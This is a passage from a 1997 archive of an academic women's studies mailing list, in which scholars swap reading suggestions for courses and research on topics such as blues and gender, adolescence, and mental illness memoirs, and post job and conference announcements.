struggle with the task of identifying research topics and this struck me as an interesting one to pursue, particularly for a student interested in music. Issues surrounding race and class would also intersect powerfully with this topic. I have not checked, so I do not know if the topic has already been explored. Dra. Angela Pattatucci Universidad de Puerto Rico a_pattatucci@upr1.upr.clu.edu ========================================================================= Date: Mon, 15 Dec 1997 10:00:46 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Katherine Side Subject: Re: Query: History of Women's Studies In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 14 Dec 1997, kearney wrote: Mary, I know that Mary Evans (at the University of Kent, at Canterbury, U.K.) has written on the topic of changing women's studies to gender studies. I can't find the reference on hand, perhaps someone else know where it might be found? It's a journal reference, so might be fouind through an abstract search. Katherine Side kside@acs.ryerson.ca Department of Sociology Ryerson Polytechnic University > I'm looking for writing on the emergence of women's studies courses, > programs, and departments in academia (U.S. specifically, but other > countries would be of interest as well). > > In addition, if anyone knows of any published writing on the move to > change ""women's studies"" to ""gender studies,"" that would be helpful as > well. > > Thanks, and happy holidays! > > Mary Kearney > Univ. of Southern California > kearney@usc.edu > ========================================================================= Date: Mon, 15 Dec 1997 10:15:18 -0500 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Re: g/l history I would have him call Black feminist writer/activist Barbara Smith who is working on the first history of African American queer communities in the U.S. 518-437-1279. I also think that Beverly-Guy Sheftall's book Words of Fire would be helpful - and Beverly herself (she's at Spellman). Darlene Clark Hine who did the African American women's history book would be a great resource (she's somewhere in the midwest - Michigan?) And I think that George Chauncey's Gay New York and Jonathan Ned Katz's books would be helpful. Liz Kennedy and Madeline Davis' Boots of Leather, Slipper of Gold, about working-class dykes in Buffalo in the 40s and 50s includes African American lesbians and talks about racial segregation and integration in that community. Good luck. J. -----Original Message----- From: Sheryl McInnes [SMTP:smcinnes@GPU.SRV.UALBERTA.CA] Sent: Monday, December 15, 1997 9:27 AM To: WMST-L@UMDD.UMD.EDU Subject: g/l history Seasons greetings everyone, I am posting this for a friend who does not have access to the list. He is looking for texts to use in a course on the history of African-American gay men and/or lesbians in the 19th or early 20th century. Suggestions anyone? Sheryl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ""If you act like there is no possibility for change, you guarantee there will be no change."" Noam Chomsky Sheryl McInnes University of Alberta smcinnes@gpu.srv.ualberta.ca -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ========================================================================= Date: Mon, 15 Dec 1997 10:20:07 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Anderson Subject: Re: autobios of women w/""mental disorders"" In-Reply-To: <01IR4S8T1LIEAIBWWL@ritvax.isc.rit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" thank you !! >Regarding >>recommendations of good books/articles, preferably >> autobiographical, by women/feminists/lesbians on experience with clinical >> depression, bi-polar disorder, borderline personality, schizophrenia, >> obsession-compulsion, anxiety/panic, etc > >Kate Millet has an autobiography about her experiences with bi-polar disorder, >with a title I can't remember right now, something with ""Journey"" in it. >(Millet of _Sexual Politics_ fame) > >Georgia NeSmith >Freelance writer, editor, writing coach >Rochester NY * * * * * * * * * * * * * * * * * * * * * * * * Linda L. Anderson tel: 203/432-0845 Women's Studies Program fax: 203/432-8475 Yale University email: linda.anderson@yale.edu P.O. Box 208319, 315 WLH New Haven, CT 06520-8319 ========================================================================= Date: Mon, 15 Dec 1997 09:17:08 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Traci Kelly Organization: University of Minnesota Crookston Subject: bias-free language suggestions needed In-Reply-To: <01IR77SCS7AQ004EC3@UPR1.UPR.CLU.EDU> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT What's a good bias-free substitute for ""freshman"" besides ""first-year student"" ? Please answer me privately (unless the list wants otherwise) at tkelly@mail.crk.umn.edu Thanks! Traci Kelly tkelly@mail.crk.umn.edu Postal address: Traci Kelly University of Minnesota, Crookston 109 Conference Center 2900 University Ave Crookston, MN 56716-5001 phone: 218 281 8273 ========================================================================= Date: Mon, 15 Dec 1997 10:27:32 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Linda Anderson Subject: Re: autobios of women w/""mental disorders"" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" thank you !! >Sorry, I must have been asleep for the original post; here's the Millett >reference plus a couple more. > >Cardinal, M. (1983) The Words to Say It. Cambridge, Mass.: >VanVactor & Goodheart. > >Millett, Kate [1990] The Loony-Bin Trip. New York: Simon and Schuster. > >Supeene, S.L. (1990) As for the Sky, Falling. Toronto: Second Story Press. > >Cheers, > >Catherine Hopwood >Box 269 >McMaster University, >Hamilton, Ontario, >L8S 1C0. >telephone: 905-627-0393 >e-mail: chopwood@hwcn.org > > >On Sat, 13 Dec 1997, Georgia NeSmith, PhD wrote: > >> Regarding >>recommendations of good books/articles, preferably >> > autobiographical, by women/feminists/lesbians on experience with clinical >> > depression, bi-polar disorder, borderline personality, schizophrenia, >> > obsession-compulsion, anxiety/panic, etc >> >> Kate Millet has an autobiography about her experiences with bi-polar >>disorder, >> with a title I can't remember right now, something with ""Journey"" in it. >> (Millet of _Sexual Politics_ fame) >> >> Georgia NeSmith >> Freelance writer, editor, writing coach >> Rochester NY >> * * * * * * * * * * * * * * * * * * * * * * * * Linda L. Anderson tel: 203/432-0845 Women's Studies Program fax: 203/432-8475 Yale University email: linda.anderson@yale.edu P.O. Box 208319, 315 WLH New Haven, CT 06520-8319 ========================================================================= Date: Mon, 15 Dec 1997 13:35:53 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Maria Bevacqua Subject: lesbian rape (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I received this message re: my request for lesbian rape resources (rape of lesbians by lesbians). Does anyone out there know what movie the writer is talking about? Please respond privately. Thanks, Maria Bevacqua, Ph.D. Institute for Women's Studies Emory University Atlanta, GA 30322 mbevacq@emory.edu > Hi Maria, Several years ago I saw a made-for-TV movie about Francis Farmer (supposedly more or less accurate) that showed a brutal and totally devastating lesbian rape in a mental hospital. The rapist was the complete stereotype of a ""bull dyke"" and depicted as crazy to boot. The rape was set-up/allowed to happen by a viscious staff person who wanted to crush Farmer's resolve to not let the insane asylum get to her. ========================================================================= Date: Mon, 15 Dec 1997 13:38:25 -0500 Reply-To: WKOLMAR@drew.edu Sender: Women's Studies List From: Wendy Kolmar Subject: Tenure-track Job in WS MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Date: 15-Dec-1997 01:35pm EST From: Kolmar, Wendy WKOLMAR Dept: FAC/STAFF Tel No: (201)-408-3632 TO: Remote INTERNET Address ( _IN%WMST-L@UMDD.UMD.EDU ) Subject: Tenure-track Job in WS Pending budget approval, the Drew University Women's Studies Program seeks applications for a tenure-track appointment in women's studies and a social science discipline. Teaching and research interest in an area of the Third World or in cross-cultural issues highly desirable. Responsibilities would include teaching women's studies core courses, teaching in the discipline, program development and some program administration. Appointment at the assistant professor level. Evidence of commitment to interdisciplinary work and Ph.D. required. Drew University is an affirmative action/equal opportunity employer. Send letter of application, three letters of recommendation and curriculum vitae by February 1, 1998 to: Wendy Kolmar Director of Women's Studies Drew University Madison, NJ 07940 E-mail: WKolmar@drew.edu Drew University is a small liberal arts institution, located in Northern New Jersey within easy commuting distance of Manhattan. The Women's Studies Program is almost 20 years old; it is an interdisciplinary program which offers a minor, a special major, a masters and a Ph.D. concentration. ========================================================================= Date: Mon, 15 Dec 1997 00:15:03 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Deborah Gerson Subject: Re: readings on poverty Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Kathy Miriam wrote: I am looking for a text with the same force as Women, Poverty and the >American Dream (might be wrong title?), but updated... >to use in an intro women's studies class. or, materials that will help >update the former. >thanks in advance, > >Kathy Miriam >kmiriam@cats.ucsc.edu I dn't know if this qualifies as a text but I think Valerie Polokow's book, Lives on the Edge, single Mothers and their Children in the Other America is an extraordinary piece of work. It's one of the few works on povety that combines successfully structural analysis with an analysis of discourse and a rich historical perspective. I've used it in an Introductory sociology course and in a women's studies class called Race, Class and Sex. Right now I'm doing research on the effects of devolution,. and we are in a whole new and very much worse ball park, I don't know what's written yet. Also, look at katherine Egan's work and the Institute for Women's Policy Research has a packet of readings on welfare. I especially like the Egan and Jencks article, ""Do Poor Women Have the Right to Bear Children?"" I hope this helps. If you want more ideas or discussion you can e-mail me privately. Deborah Gerson degerson@itsa.ucsf.edu __ ""I wouldn't have done it if I'd known the answers were on the back."" -Me, math class. ========================================================================= Date: Sun, 14 Dec 1997 18:36:44 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Vanessa Jo Van Ornam Subject: course: growing up female MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I'm teaching a course in the spring for the Women's Studies program called ""Growing Up Female"". I'm concentrating primarily on literary texts (e.g., Jane Eyre, The Bluest Eye, The Joy Luck Club and Floating in My Mother's Palm), but I'd like also to do something from other disciplines such as excerpts from Carol Gilligan's In a Different Voice, Nancy Chodorow, Gilligan and Brown's (?) Meeting at the Crossroads and Mary Pipher's Reviving Ophelia. Since my background is in literature, however, I'm wondering what on earth I can do with the last two texts, which are mostly case studies. Has anyone else worked with these or something like them? What did you do? How did students respond to them? Are there any pitfalls I should know about or particular excerpts you'd recommend? Other texts I haven't thought of? I'd really appreciate any suggestions! Vanessa Van Ornam vjvanorn@artsci.wustl.edu ========================================================================= Date: Mon, 15 Dec 1997 14:34:02 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: sasha Subject: Fw: lesbian rape (fwd) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit > > > > I received this message re: my request for lesbian rape resources (rape > of > > lesbians by lesbians). Does anyone out a brutal and totally > > devastating lesbian rape in a mental hospital. The rapist was the > > complete stereotype of a ""bull dyke"" and depicted as crazy to boot. The The film being referred to may be ""Francis"" - I've seen it many times and don't remember a lesbian rape in the institution - rape by male ""attendants"", yes, but by women, no. Perhaps there is another one - specifically made for TV but there is no lesbian bashing in the big screen version. Sasha sasha@worldchat.com ========================================================================= Date: Mon, 15 Dec 1997 14:51:09 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jean Noble Subject: Re: course: growing up female In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII For a non-heteronormative take on growing up ""female,"" i'd highly recommend Lesley Feinberg's Stone Butch Blues. Jean Noble Doctoral Candidate Graduate Programme in English York University Toronto, Canada On Sun, 14 Dec 1997, Vanessa Jo Van Ornam wrote: > I'm teaching a course in the spring for the Women's Studies program called > ""Growing Up Female"". I'm concentrating primarily on literary texts (e.g., > Jane Eyre, The Bluest Eye, The Joy Luck Club and Floating in My Mother's > Palm), but I'd like also to do something from other disciplines such as > excerpts from Carol Gilligan's In a Different Voice, Nancy Chodorow, > Gilligan and Brown's (?) Meeting at the Crossroads and Mary Pipher's > Reviving Ophelia. Since my background is in literature, however, I'm > wondering what on earth I can do with the last two texts, which are mostly > case studies. Has anyone else worked with these or something like them? > What did you do? How did students respond to them? Are there any > pitfalls I should know about or particular excerpts you'd recommend? > Other texts I haven't thought of? > I'd really appreciate any suggestions! > Vanessa Van Ornam > vjvanorn@artsci.wustl.edu > ========================================================================= Date: Mon, 15 Dec 1997 14:52:52 +0000 Reply-To: Women's Studies List Sender: Women's Studies List Comments: Authenticated sender is From: Kelley Crouse Subject: Re: course: growing up female Comments: To: Vanessa Jo Van Ornam In-Reply-To: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT > Other > texts I haven't thought of? I'd really appreciate any suggestions! Gilligan and her colleagues have just put out their new study, Between Voice and Silence, Harvard University Press. Also, you might find that using work from the field of Cultural Studies. Angela McRobbie is the most prominent scholar associated with the Birmingham School, but her work is largely about British girls. She has done work on girls and girl's magazines like ""Jackie,"" for example. McRobbie recently edited the anthology _Back To Reality_, Manchester University Press in which you'll find an update of her earlier research as well as an article by Maria Pini, ""Women and the early British Rave Scene"" Routledge is the largest publisher of cultural studies texts, so I'd search their website. Cultural studies seems most suited to your discipline, but does draw on emprirical research and case studies. Still, the 'language' is more in the mode of literary criticism, signification, representation, etc. Also, and I don't know if this is what you have in mind, you might be interested in Susan Willis' _A Primer for Daily Life_ which has some interested chapters. Willis teach literature and culture. If I come across anything else, I'll be sure to send it on. Kelley Crouse > Vanessa Van Ornam vjvanorn@artsci.wustl.edu > ========================================================================= Date: Mon, 15 Dec 1997 13:56:47 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Gynogogy? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I hope someone on this list can help me with sources for the term ""gynogogy"". This past week-end while attending a friend's doctoral committee meeting, I was introduced to the term, but no other information was available. I was told the term is being used to replace pedagogy (education of children based on a passive-receptive model), and androgogy (education of adults, which is grounded on earlier life experiences, but not from a feminist perspective). Is gynogogy different from feminist pedagogy? It is a new term to me, and was to others at the committee meeting. Any information would be most appreciated. Please reply privately. If there is much interest, I will forward infor to the list. Thanks in advance. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Mon, 15 Dec 1997 11:57:52 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Sayrs Subject: Re: Music and Gender Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Re: >In a recent interview, Ruth Brown, often referred to as a contemporary >""mother of the blues"", stated that the blues are more than just an art >form. I know that students often struggle with the task of >identifying research >topics and this struck me as an interesting one to pursue, particularly for >a student interested in music. Issues surrounding race and class would >also intersect powerfully with this topic. I have not checked, so I do not >know if the topic has already been explored. > This topic has begun to be explored by music scholars. The Society for Music Theory's Committee on the Status of Women has just completed a major renovation of their online bibliography of sources related to women, gender studies, and music. Anyone interested in this and related topics might want to check the bibliography for blues sources, as well as sources that explore issues in music and gender in general. The URL is: http://home1.gte.net/esayrs68/CSWBibIndex.html Hope you find this useful, Elizabeth Elizabeth Sayrs, Ph.D. Lecturer, Music Theory UC-Santa Barbara sayrs@humanitas.ucsb.edu 805.893.7266 ========================================================================= Date: Mon, 15 Dec 1997 14:15:43 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Angela E Hubler Subject: Re: course: growing up female In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am just finishing up a similar course this semester. I the PBS documentary _Girls Like Us_ (which is great) to begin. We read Helena Viramontes' ""Growing"" and Jamaica Kincaid's ""Girl"" and then moved to social science stuff, including selections from Margaret Mead, _Nisa_, and all of Reviving Ophelia_. Students liked it a lot, and our discussion of the text focused on what she sees as the origin of the ""crisis"" that girls experience during adolescence (illustrated, for example, in the drop in self-esteem documented in _Shortchanging Girls, Shortchanging America_) and how she thinks it can be averted. About half of the semester was literature (including children's literature) since I too am in English. Angela E. Hubler Assistant Professor of English and Women's Studies lela@ksu.edu ========================================================================= Date: Mon, 15 Dec 1997 13:11:10 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Barbara C. Ewell"" Subject: mental/emotional ""disorders"" in women In-Reply-To: <199712130020.SAA126028@nadal.loyno.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Excellent non-fiction source is Beverly Burch, ""Other Women: Lesbian/Bisexual Experience and Psycholanalytic Views of Women"" (New York: Columbia Univ. Press, 1997). >Date: Fri, 12 Dec 1997 10:43:11 -0800 >From: sasha >Subject: mental/emotional ""disorders"" in women > >Linda Anderson wrote: > >> am looking for recommendations of good books/articles, preferably >> autobiographical, by women/feminists/lesbians on experience with clinical >> depression, bi-polar disorder, borderline personality, schizophrenia, >> obsession-compulsion, anxiety/panic, etc. >> >> please respond privately. thank you. >I would also appreciate titles on these subjects. I am currently >organizing two initiatives for which I need bibliographies. The first is >the development of a resource centre at our mental health rights coaltion >and the second is the development of a bibliography for a new list for >Women Who (experience mood swings, fear, voices and visions). The list is >called Madgrrls and can be found under the Madnation site at: > >http://www.madnation.org/madness.htm > >I'm looking for biography, autobiography, fiction, non-fiction, poetry. > >Thanks so much for your help. You can e-mail me privately, if you wish, at: > >sasha@worldchat.com > >Sasha McInnes >Hamilton, Ontario >> >=========================================================================== Barbara C. Ewell Professor of English City College Box 14 Loyola University New Orleans LA 70118 bewell@loyno.edu ========================================================================= Date: Mon, 15 Dec 1997 15:34:46 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: sandra basgall Subject: Re: Seeking suggestions for a novel MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit You might try _Sarah's Song_ by Florence Ladd. Sandra Basgall Linda Pershing wrote: > > I am seeking ideas for novels written by women who live outside the U.S. > and who address issues of race, ethnicity, class, and/or sexual > identity--in addition to gender--in their work. I hope to assign such a > novel in an undergraduate course about global perspectives on women. My > hope is to provide students with more multi-dimensional understandings of > women's lived experiences than would be provided by other types of > textbooks. > > If you have suggestions or have used novels of this type in your courses, > I'd appreciate hearing from you. Please respond privately to > LLP@cnsvax.albany.edu > > Thank you, > > Linda Pershing > > Department of Women's Studies Email: LLP@cnsvax.albany.edu > Social Sciences Bldg. 341 (518) 442-3979 (office) > State University of New York (518) 442-4936 (fax) > Albany, NY 12222 ========================================================================= Date: Mon, 15 Dec 1997 15:52:49 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Cindy Bily Subject: a bit messy--sorry about that! From: SMTP%""LISTSERV@umdd.umd.edu"" 15-DEC-1997 13:19:00.76 To: cbily@ADRIAN.EDU CC: Subj: Rejected posting to WMST-L@UMDD.UMD.EDU You are not authorized to send mail to the WMST-L list from your cbily@ADRIAN.EDU account. You might be authorized to send to the list from another of your accounts, or perhaps when using another mail program which generates slightly different addresses, but LISTSERV has no way to associate this other account or address with yours. If you need assistance or if you have any question regarding the policy of the WMST-L list, please contact the list owners: WMST-L-request@UMDD.UMD.EDU. ------------------------ Rejected message (34 lines) -------------------------- Received: from UMDD.UMD.EDU by UMDD.UMD.EDU (Mailer R2.10 ptf000) with BSMTP id 7374; Mon, 15 Dec 97 09:19:27 EST Received: from adrian (198.108.80.2,4101) by UMDD.UMD.EDU ; 15 Dec 97 09:19:26 EST Received: by adrian.adrian.edu (UCX V4.1-12, OpenVMS V6.1 VAX); Mon, 15 Dec 1997 09:18:13 -0500 Received: by cbily.adrian.edu with Microsoft Mail id <01BD093A.16402E60@cbily.adrian.edu>; Mon, 15 Dec 1997 09:16:12 -0500 Message-ID: <01BD093A.16402E60@cbily.adrian.edu> From: ""Cynthia A. Bily"" To: ""'wmst-l@umdd.umd.edu'"" Subject: international study and work--request for info Date: Mon, 15 Dec 1997 09:16:10 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable It is looking like my family will be living in Nairobi, Kenya, next = year. Our daughter will graduate with a double major in English and = women's studies this May, and she will most likely come with us. She = will look for some kind of placement with a women's advocacy group = (she's been working for two years in her local domestic violence = shelter) or women's aid project. We're wondering if there is a way that she could do some kind of work = or research in Nairobi that would be applicable to a graduate program in = women's studies. The University of Nairobi does not have a women's = studies program (and she could not enroll there directly, anyway). Are = there graduate programs in women's studies that have affiliations of any = kind in Kenya? Or, are there ways of recording work and life experiences = that make them useful later for school? We'll go, and she'll work, regardless. But if there were a way to = make that work part of an academic program, that would be a bonus. Can = anyone help us think this through? Cindy Bily Adrian College cbily@adrian.edu ================== RFC 822 Headers ================== Return-Path: Received: by adrian.adrian.edu (UCX V4.1-12, OpenVMS V6.1 VAX); Mon, 15 Dec 1997 13:18:58 -0500 Received: from UMDD (umdd.umd.edu [128.8.170.13]) by umd5.umd.edu (8.8.7/8.8.7) with SMTP id NAA19020 for ; Mon, 15 Dec 1997 13:20:04 -0500 (EST) Message-Id: <199712151820.NAA19020@umd5.umd.edu> Received: by UMDD.UMD.EDU id 7432 ; 15 Dec 97 13:19:59 EST Received: from UMDD.UMD.EDU by UMDD.UMD.EDU (Mailer R2.10 ptf000) with BSMTP id 7432; Mon, 15 Dec 97 09:21:35 EST Date: Mon, 15 Dec 1997 09:21:35 -0500 From: ""L-Soft list server at UMDD (1.8c)"" Subject: Rejected posting to WMST-L@UMDD.UMD.EDU To: cbily@ADRIAN.EDU ========================================================================= Date: Mon, 15 Dec 1997 16:07:33 EST Reply-To: costaka@rindge.fpc.edu Sender: Women's Studies List From: Kelli Ann Costa Organization: Franklin Pierce College Subject: Re: course: growing up female Just a thought -- I recently read a brandy new book by Joan Brumberg called ""The Body Project"" which I feel very effectively places the control of adolescent girls' bodies in a historical context. I highly recommend it and plan to use it next year in my Feminist Anthropology course. Kelli Costa Kelli Ann Costa Department of Behavioral Sciences Franklin Pierce College Rindge, NH ========================================================================= Date: Mon, 15 Dec 1997 16:27:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheila Hassell Hughes Subject: film for feminist theory MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am looking for recommendations on a film--independent, NFB, foreign, or hollywood--that I might incorporate into my undergraduate course on feminist theory. Films that are explicity feminist in some way, and especially those that might be considered as ""theory in another medium"" would be especially appreciated. In this course, we are taking a rhetorical approach to feminist theory, asking ""what counts as feminist theory?"" ""how and where is theory produced?"" ""what audience(s) do particular theories address?"" ""what social goals do these theories work toward"" and ""what rhetorical strategies do writers (and filmmakers?!) employ, within their specific contexts, to achieve these effects?"" This is a 200-level course, of seminar-size, which should be primarly WS majors and minors. We will be reading Richardson, Taylor, & Whittier, eds. FEMINIST FRONTIERS IV; Lorde, SISTER OUTSIDER; and Spelman, INESSENTIAL WOMAN. I imagine using the film toward the end of the course, after we have spent time theorizing issues & topics such as ""oppression,"" ""socialization,"" ""the body,"" and ""resistance,"" and as we begin to attempt theorizing ""theory"" itself. Please post your responses to me personally (shughes@emory.edu) and I will submit a compiled list of titles to the list if others express interest. One or two lines of annotation--why/how it might offer a ""theoretical"" perspective--would be especially useful. Thanks in advance, for what I know will be a rich list of resources! Sheila _____________________________ Sheila Hassell Hughes Visiting Assistant Professor Institute for Women's Studies Emory University, Atlanta, GA 30322 shughes@emory.edu ========================================================================= Date: Mon, 15 Dec 1997 16:45:13 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Lillie Sharon Ransom Subject: Re: Music and Gender In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII You may also want to investigate a book by Daphne Harrison (Afro-American Studies Professor at the University of Maryland Baltimore County.); I don't remember the title but think it was published in the late 1980s about female blues singers. Lillie S. Ransom, Ph.D Affiliate Faculty Women's Studies University of Maryland College Park, Maryland 20742 (301) 314-7682. On Mon, 15 Dec 1997, Elizabeth Sayrs wrote: > Re: > >In a recent interview, Ruth Brown, often referred to as a contemporary > >""mother of the blues"", stated that the blues are more than just an art > >form. I know that students often struggle with the task of > >identifying research > >topics and this struck me as an interesting one to pursue, particularly for > >a student interested in music. Issues surrounding race and class would > >also intersect powerfully with this topic. I have not checked, so I do not > >know if the topic has already been explored. > > > > This topic has begun to be explored by music scholars. The Society for > Music Theory's Committee on the Status of Women has just completed a major > renovation of their online bibliography of sources related to women, gender > studies, and music. Anyone interested in this and related topics might > want to check the bibliography for blues sources, as well as sources that > explore issues in music and gender in general. > > The URL is: http://home1.gte.net/esayrs68/CSWBibIndex.html > > Hope you find this useful, > Elizabeth > > Elizabeth Sayrs, Ph.D. > Lecturer, Music Theory > UC-Santa Barbara > sayrs@humanitas.ucsb.edu > 805.893.7266 > ========================================================================= Date: Mon, 15 Dec 1997 13:42:04 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: mreview@IGC.APC.ORG Subject: Re: feminist bookstores Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 10:40 PM 12/11/97 EST, you wrote: >I don't know who began this ""conversation,"" but I am thrilled to have it >appearing on this list, for I've been somewhat depressed about the male- >centered news in the daily paper, including the big feature reporting 35,000 >or more polygamous Mormon families, as well as the smaller feature on the >importance of the Beats to the male young (and you know of course how sexist >that fifties movement was). As if that were not enough, the annual contest re >most popular movie star was reported also in the today-s NYT, with the first >22 places going to MEN, and with the first woman mentioned as number 23. So, >yes, it's heartening to me to hear these voices of women's studies faculty >calling for support for feminist bookstores. > >And I know you are not forgetting feminist presses either. One of our staff >members has written a short page that we are going to distribute at the >upcoming MLA conference in Toronto, urging faculty to consider small presses >and independent bookstores when thinking about texts for their courses, and >trying to order books rather than coursepacks for students. As soon as I can >learn to download, I will try to put this on our list. For now, thank you, >list readers and writers. > >>From Florence Howe, for The Feminist Press at CUNY (still unwired, still >waiting for City College folk to finish the job). Fax: 212-650-8893. Or >Florence's e-mail: florench@aol.com > > ========================================================================= Date: Mon, 15 Dec 1997 14:10:47 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Lisa McGowan Subject: Re: Music and Gender Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >On Mon, 15 Dec 1997, Elizabeth Sayrs wrote: > >> Re: >> >In a recent interview, Ruth Brown, often referred to as a contemporary >> >""mother of the blues"", stated that the blues are more than just an art >> >form. I know that students often struggle with the task of >> >identifying research >> >topics and this struck me as an interesting one to pursue, particularly for >> >a student interested in music. Issues surrounding race and class would >> >also intersect powerfully with this topic. I have not checked, so I do not >> >know if the topic has already been explored. There's a new book coming out by Angela Y. Davis in February: BLUES LEGACIES AND BLACK FEMINISM: GERTRUDE ""MA"" RAILEY, BESSIE SMITH, AND BILLIE HOLIDAY. I haven't seen the book yet, but it fascinating; this is from the publisher's (Pantheon/Random House) catalog copy: Angela Davis proposes that the tradition of popular music given voice by ""Ma"" Rainey, Bessie Smith, and Billie Holiday represents a black working-class, feminist ideology and historical consciousness that stood in opposition to both the dominant white mainstream and the black middle class. She uncovers within the tradition of Black women blues singers the expression of an alternative culture and collective memory that allowed for the musical assertion and celebration of non-middle-class, non-heterosexual values.... Lisa McGowan Feminist Bookstore News P.O. Box 882554 San Francisco, CA 94188 tel: (415) 642-9994 fax (415) 642-9995 email: Lisa@FemBkNews.com ========================================================================= Date: Mon, 15 Dec 1997 18:33:19 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: Music and Gender MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT > You may also want to investigate a book by Daphne Harrison (Afro-American > Studies Professor at the University of Maryland Baltimore County.); I > don't remember the title but think it was published in the late 1980s > about female blues singers. I second Lillie Ransom's suggestion. The title of the book she's referring to is Black Pearls: Blues Queens of the 1920s, by my colleague Daphne Duval Harrison. The book is available in paperback from Rutgers University Press. Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Mon, 15 Dec 1997 18:17:20 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: THAT Subject: Re: Fw: lesbian rape (fwd) In-Reply-To: <199712151932.OAA15492@barb.worldchat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I would think the best source for lesbian rape information would be rape statistics in Prisons for Women. At 02:34 PM 12/15/97 -0800, you wrote: >> > >> > I received this message re: my request for lesbian rape resources (rape >> of >> > lesbians by lesbians). Does anyone out a brutal and totally >> > devastating lesbian rape in a mental hospital. The rapist was the >> > complete stereotype of a ""bull dyke"" and depicted as crazy to boot. >The > > The film being referred to may be ""Francis"" - I've seen it many times and >don't remember a lesbian rape in the institution - rape by male > ""attendants"", yes, but by women, no. > > Perhaps there is another one - specifically made for TV but there is no >lesbian bashing in the big screen version. > >Sasha >sasha@worldchat.com > > THAT@unforgettable.com http://www.geocities.com/wellesley/2122 ========================================================================= Date: Mon, 15 Dec 1997 19:51:32 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: marjoleine kars Subject: Call for participants - Berkshire Conf. MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Call for Participants: Roundtable for 1999 Berkshire Conference Deadline date: January 31, 1998 Contact: Anne F. Scott (ascott2@email.unc.edu) and Marjoleine Kars = (kars@umbc.edu) Marjoleine Kars, Dept. of History, Univ. of Maryland Baltimore County = (UMBC), 1000 Hilltop Circle, Baltimore, MD 21250 and Anne F. Scott, = Dept. of History, Duke University, Durham, NC 27708 would like to put = together a roundtable discussion for the 1999 Berkshire Conference made = up of people who teach or have taught women's history in a variety of = settings and who have used ""Three Generations of Women in My Family"" as = the assignment for a major research paper. We would like for the = roundtable to discuss what the students learned and what we as teachers = learned from the students' research. If you like the idea and might = want to participate please send a paragraph describing the conditions = under which you taught and why you might like to take part in such a = discusison to us -- a copy to each of us please. If there is someone = out there who had the assignment as a student and is now using it in = teaching we would be especially delighted...but we would like to hear = from anybody who has had experience with this assignment or some = variation of it. We may be reached at the postal addresses above or by = e-mail at: kars@umbc.edu and ascott2@email.unc.edu. ========================================================================= Date: Mon, 15 Dec 1997 20:35:03 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: 4 announcements: jobs and small grants MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT The following four announcements may interest WMST-L readers: 1) Job: Director, 